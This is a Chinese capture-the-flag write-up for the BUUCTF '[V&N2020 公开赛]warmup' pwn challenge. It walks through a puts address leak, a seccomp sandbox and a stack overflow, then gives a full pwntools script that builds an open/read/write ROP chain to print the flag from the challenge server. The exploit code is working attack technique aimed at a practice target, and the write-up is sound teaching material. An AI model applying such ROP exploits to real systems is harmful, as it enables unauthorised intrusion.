[BUUCTF]PWN——[V&N2020 公开赛]warmup
[V&N2020 公开赛]warmup
步骤:
例行检查,64位程序,除了canary,其他保护都开

本地运行一下,看看大概的情况

64位ida载入,从main函数开始看程序

看到程序将puts函数的地址泄露给了我们
sub_84D()函数里面是prctl函数的沙箱机制

可以利用seccomp-tools工具来查看一下限制了哪些函数

禁止了execve和fork syscall,
关于seccomp-tools工具的安装和使用看这篇文章,关于prctl函数可以看一下这篇文章sub_9D3()函数,第一个输入点,没什么漏洞

sub_9A1()函数,第二个输入点,可以溢出16字节,也就是我们正好只能覆盖到ret

但是这个函数在调用 sub_9D3 函数的之前没有任何东西入栈
调用 sub_9A1 的返回地址入栈,覆盖完返回地址,下个8字节又正好是我们上次输入的东西,所以两次输入可以连起来,作为一个ROP链一般沙盒类型的题目都不会禁掉open,read,write这三个函数,我们可以想办法在程序中读出flag,并输出,从而得到flag
64位程序,传参要用到寄存器,题目已经给了我们libc版本,现在libc里找到设置他们值的指令的相对地址



然后还有一个问题,那就是将flag读到哪里是个问题,在查阅了其他师傅写的wp之后总结了一下
1. libc.[‘environ’],是libc存储的栈地址
2. libc.address + 0x3C6500 和 libc.address + 0x3C6700,是位于libc的bss段
3. __free_hook ,__free_hook是全局变量,可以直接被修改
搞清楚上述的内容后,开始写exp
from pwn import *
r=remote('node3.buuoj.cn',27182)
libc=ELF("./libc-2.23.so")
context.log_level='debug'
r.recvuntil("0x")
puts_addr=int(r.recv(12),16)
libcbase_addr=puts_addr-libc.symbols['puts']
pop_rdi_ret=libcbase_addr+0x21102
pop_rsi_ret=libcbase_addr+0x202e8
pop_rdx_ret=libcbase_addr+0x1b92
open_addr=libcbase_addr+libc.symbols['open']
#free_hook=libcbase_addr+libc.symbols['__free_hook']
libc_bss =libcbase_addr+0x3c5720
read_addr=libcbase_addr+libc.symbols['read']
#puts_addr=libcbase_addr+libc.symbols['puts']
write_addr=libcbase_addr+libc.symbols['write']
# 写入read函数的调用,之后我们传入‘flag’这4个字符,作为下面open,read,write的文件名
payload = p64(0) + p64(pop_rsi_ret) + p64(libc_bss) + p64(pop_rdx_ret) + p64(0x100) + p64(read_addr)
# 写入open函数的调用,打开名为‘flag’的文件
payload += p64(pop_rdi_ret) + p64(libc_bss) + p64(pop_rsi_ret) + p64(0) + p64(open_addr)
# 写入read函数的调用,读出‘flag’文件里的内容
payload += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(libc_bss) + p64(pop_rdx_ret) + p64(0x100) + p64(read_addr)
# 写入write函数的调用,打印出‘flag’文件里的内容
payload += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(libc_bss) + p64(pop_rdx_ret) + p64(0x100) + p64(write_addr)
r.sendafter("Input something: ",payload)
r.sendafter("What's your name?",'a'* 0x78+p64(pop_rdi_ret))
r.send("flag")
r.interactive()

[BUUCTF]PWN——[V&N2020 公开赛]warmup的更多相关文章
- [BUUCTF]PWN——[V&N2020 公开赛]easyTHeap
[V&N2020 公开赛]easyTHeap 附件 步骤: 例行检查,64位程序,保护全开 本地试运行一下,看看大概的情况,常见的堆的菜单 64位ida载入,main函数 最多只能申请7个ch ...
- [BUUCTF]PWN——[V&N2020 公开赛]simpleHeap
[V&N2020 公开赛]simpleHeap 附件 步骤: 例行检查,64位,保护全开 根据题目可知是一道堆,直接用64位ida打开 我修改了这些函数的名称,这样方便看程序 add,我们可以 ...
- [BUUCTF]PWN——[V&N2020 公开赛]babybabypwn
[V&N2020 公开赛]babybabypwn 附件 步骤: 例行检查,64位程序,保护全开 本地试运行一下,看看程序的大概情况 64位ida载入,看一下main函数 sub_1202()函 ...
- [BUUCTF]REVERSE——[V&N2020 公开赛]CSRe
[V&N2020 公开赛]CSRe 附件 步骤: 例行检查,无壳儿,但是有NET混淆,使用de4dot工具进行处理 之后用dnSpy打开,从入口点开始看程序 找到有关flag的信息 flag由 ...
- [BUUCTF]REVERSE——[V&N2020 公开赛]strangeCpp
[V&N2020 公开赛]strangeCpp 附加 步骤 查壳,无壳,64位程序 64位ida载入,没有main函数,根据程序里的字符串,去查看函数 __int64 __fastcall s ...
- 【pwn】V&N2020 公开赛 simpleHeap
[pwn]V&N2020 公开赛 simpleHeap 1.静态分析 首先libc版本是ubuntu16的2.23版本,可以去buu的资源处下载 然后checksec一下,保护全开 拖入IDA ...
- 刷题记录:[V&N2020 公开赛]TimeTravel
题目复现链接:https://buuoj.cn/challenges 参考链接:2020 年 V&N 内部考核赛 WriteUp V&N公开赛2020 writeup httpoxy ...
- [V&N2020 公开赛] Web misc部分题解
0x00 前言 写了一天题目,学到了好多东西, 简单记录一下 0x01 Web HappyCTFd 直接使用网上公开的cve打: 解题思路:先注册一个admin空格账号,注意这里的靶机无法访问外网,邮 ...
- [V&N2020 公开赛]babybabypwn
写在开头,感谢"影二つ"师傅的指点. 题目的做法思路网上一搜一大把,这篇博客主要记录一下这道题用pwntools写srop的时候,为什么需要省略前面8个字节. 在看题目之前,先来学 ...
随机推荐
- 【Python】300行代码搞定HTML模板渲染
一.前言 模板语言由HTML代码和逻辑控制代码组成,此处@PHP.通过模板语言可以快速的生成预想的HTML页面.应该算是后端渲染不可缺少的组成部分. 二.功能介绍 通过使用学习tornado.bott ...
- [atARC099F]Eating Symbols Hard
记操作序列为$S$,令$h(S)\equiv \sum_{i}a_{i}x^{i}(mod\ p)$(其中$a_{i}$为操作后的结果) (以下我们将$S$看作字符串,相邻即拼接操作) 对于操作,有$ ...
- [atARC107F]Sum of Abs
价值即等价于给每一个点系数$p_{i}=\pm 1$,使得$\forall (x,y)\in E,p_{x}=p_{y}$的最大的$\sum_{i=1}^{n}p_{i}b_{i}$ 如果没有删除(当 ...
- 关于前端项目cookie的获取
最近项目在做切换,2.0要升级到3.0,遇到跨域问题,使用的是nginx 进行对端口拦截请求其他地址,另外有的服务还要登录权限,之前没看到有这个,后来加上获取cookie的请求 var v3_toke ...
- CF708E Student's Camp
麻麻我会做*3100的计数了,我出息了 考虑朴素DP我们怎么做呢. 设\(f_{i,l,r}\)为第\(i\)层选择\(l,r\)的依旧不倒的概率. \(q(l,r)\)表示经历了\(k\)天后,存活 ...
- 快读模板 + #define 压缩for
快读是一个很重要的模板 #define 压缩for是为了代码的简洁 这里贴一下模板 #define f(i , a , b) for(int i=(a) ; i <= (b) ; i++) us ...
- [NOI 2014]起床困难综合症[二进制]
背景 21 世纪,许多人得了一种奇怪的病:起床困难综合症,其临床表现为:起床难,起床后精神不佳.作为一名青春阳光好少年,atm 一直坚持与起床困难综合症作斗争.通过研究相关文献,他找到了该病的发病原因 ...
- ZAQI
mysql> CREATE TABLE emploee ( -> name CHAR(64) NOT NULL, -> email CHAR(64), -> password ...
- 安卓手机添加系统证书方法(HTTPS抓包)
目录 1. 导出证书(以Charles为例) 2. 安卓证书储存格式 3. 将导出的证书计算hash值 4. 生成系统系统预设格式证书文件 5. 上传证书 安卓7.0以后,安卓不信任用户安装的证书,所 ...
- 学习Java的第三天
一.今日收获 1.今天家里有白事,忙了一整天,也没有看更多的资料 二.今日问题 无 三.明日目标 补全今天耽误的功课,继续学习java!